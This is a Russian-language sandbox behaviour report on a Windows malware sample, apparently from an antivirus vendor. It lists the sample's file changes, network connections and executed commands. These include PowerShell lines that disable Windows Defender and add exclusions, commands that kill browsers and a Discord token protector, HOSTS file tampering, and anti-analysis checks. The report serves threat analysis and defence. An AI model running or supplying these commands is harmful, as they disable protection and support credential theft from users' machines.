Техническая информация
Вредоносные функции
Для затруднения выявления своего присутствия в системе
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath '<Полный путь к файлу>'"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -Enabl...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SubmitSamplesConsent 2
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /F /PID 5304
- '<SYSTEM32>\taskkill.exe' /F /PID 5148
- '<SYSTEM32>\taskkill.exe' /F /IM DiscordTokenProtector.exe
- '<SYSTEM32>\taskkill.exe' /F /IM chrome.exe /T
- '<SYSTEM32>\taskkill.exe' /F /IM brave.exe /T
- '<SYSTEM32>\taskkill.exe' /F /IM msedge.exe /T
- '<SYSTEM32>\taskkill.exe' /F /IM opera.exe /T
- '<SYSTEM32>\taskkill.exe' /F /IM vivaldi.exe /T
Запускает большое число процессов
Завершает или пытается завершить
следующие системные процессы:
- <SYSTEM32>\cmd.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\sc04054a\sc04054a.0.cs
- %TEMP%\sc04054a\sc04054a.cmdline
- %TEMP%\sc04054a\sc04054a.out
- %TEMP%\sc04054a\csc22cffd9531ec45a8b27c287e0affe.tmp
- %TEMP%\res8c4d.tmp
- %TEMP%\sc04054a\sc04054a.dll
- %TEMP%\ololwpta\ololwpta.0.cs
- %TEMP%\ololwpta\ololwpta.cmdline
- %TEMP%\ololwpta\ololwpta.out
- %TEMP%\ololwpta\csc1de1d1457b7b4f259629fc3aec3fa3b.tmp
- %TEMP%\resa8ee.tmp
- %TEMP%\ololwpta\ololwpta.dll
- %TEMP%\content\4660-2256-mshta.exe-18-16-33-500.dump
- nul
- %TEMP%\skd_ct6dktfojtf.ps1
- %TEMP%\skd_ck5wx0yz3go.ps1
Присваивает атрибут 'скрытый' для следующих файлов
- <Полный путь к файлу>
Удаляет файлы, которые сам же создал
- %TEMP%\res8c4d.tmp
- %TEMP%\sc04054a\csc22cffd9531ec45a8b27c287e0affe.tmp
- %TEMP%\sc04054a\sc04054a.out
- %TEMP%\sc04054a\sc04054a.0.cs
- %TEMP%\sc04054a\sc04054a.cmdline
- %TEMP%\sc04054a\sc04054a.dll
- %TEMP%\resa8ee.tmp
- %TEMP%\ololwpta\csc1de1d1457b7b4f259629fc3aec3fa3b.tmp
- %TEMP%\ololwpta\ololwpta.cmdline
- %TEMP%\ololwpta\ololwpta.dll
- %TEMP%\ololwpta\ololwpta.out
- %TEMP%\ololwpta\ololwpta.0.cs
- %TEMP%\skd_ct6dktfojtf.ps1
- %TEMP%\skd_ck5wx0yz3go.ps1
Изменяет файл HOSTS.
Сетевая активность
Подключается к
- 'ap#.#pify.org':443
- 'ip##pi.com':80
TCP
Запросы HTTP GET
- http://ip##pi.com/line/?fi############
Другие
- 'ap#.#pify.org':443
UDP
- DNS ASK ap#.#pify.org
- DNS ASK ip##pi.com
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -File "%TEMP%\skd_ct6dktfojtf.ps1"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -File "%TEMP%\skd_ck5wx0yz3go.ps1"
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell.exe -WindowStyle Hidden -NoProfile -Command "[void] (Add-Type -Name C -MemberDefinition '[DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr h, int n); ... (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -NoProfile -Command "[void] (Add-Type -Name C -MemberDefinition '[DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr h, int n); [DllImport(\"kernel32.dll...
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\sc04054a\sc04054a.cmdline" (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8C4D.tmp" "%TEMP%\sc04054a\CSC22CFFD9531EC45A8B27C287E0AFFE.TMP" (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\ololwpta\ololwpta.cmdline" (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA8EE.tmp" "%TEMP%\ololwpta\CSC1DE1D1457B7B4F259629FC3AEC3FA3B.TMP" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "mshta vbscript:Execute("msgbox ""Error code: Windows_0x988958\nSomething gone wrong."",16,""Fatal Error"":close")" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "attrib +h +s "<Полный путь к файлу>"" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' vbscript:Execute("msgbox ""Error code: Windows_0x988958\nSomething gone wrong."",16,""Fatal Error"":close")
- '<SYSTEM32>\attrib.exe' +h +s "<Полный путь к файлу>"
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -Command "(Get-ItemProperty 'HKCU:\Control Panel\Desktop' -Name Wallpaper).Wallpaper"" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "(Get-ItemProperty 'HKCU:\Control Panel\Desktop' -Name Wallpaper).Wallpaper"
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width; [System.Windows.Forms.Screen]::PrimaryScreen.Bo... (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height"
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic csproduct get UUID" (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' csproduct get UUID
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum" /v 0" (со скрытым окном)
- '<SYSTEM32>\reg.exe' query "HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum" /v 0
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic path win32_VideoController get name" (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' path win32_VideoController get name
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -Command "[System.Diagnostics.Debugger]::IsAttached"" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "[System.Diagnostics.Debugger]::IsAttached"
- '<SYSTEM32>\cmd.exe' /d /s /c "tasklist /FO CSV /NH" (со скрытым окном)
- '<SYSTEM32>\tasklist.exe' /FO CSV /NH
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /PID 5304" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /PID 5148" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command " Add-Type @\" using System; using System.Runtime.InteropServices; using System.... (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "
- '<SYSTEM32>\cmd.exe' /d /s /c "net session" (со скрытым окном)
- '<SYSTEM32>\net.exe' session
- '<SYSTEM32>\net1.exe' session
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath '<Полный путь к файлу>'"" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderA... (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell Set-MpPreference -SubmitSamplesConsent 2" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c ""%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "attrib -r "<DRIVERS>\etc\hosts"" (со скрытым окном)
- '<SYSTEM32>\attrib.exe' -r "<DRIVERS>\etc\hosts"
- '<SYSTEM32>\cmd.exe' /d /s /c "attrib +r "<DRIVERS>\etc\hosts"" (со скрытым окном)
- '<SYSTEM32>\attrib.exe' +r "<DRIVERS>\etc\hosts"
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic logicaldisk get caption" (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' logicaldisk get caption
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM DiscordTokenProtector.exe" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "%TEMP%\skd_ct6dktfojtf.ps1"" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "%TEMP%\skd_ck5wx0yz3go.ps1"" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM chrome.exe /T" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM brave.exe /T" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM msedge.exe /T" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM opera.exe /T" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM vivaldi.exe /T" (со скрытым окном)
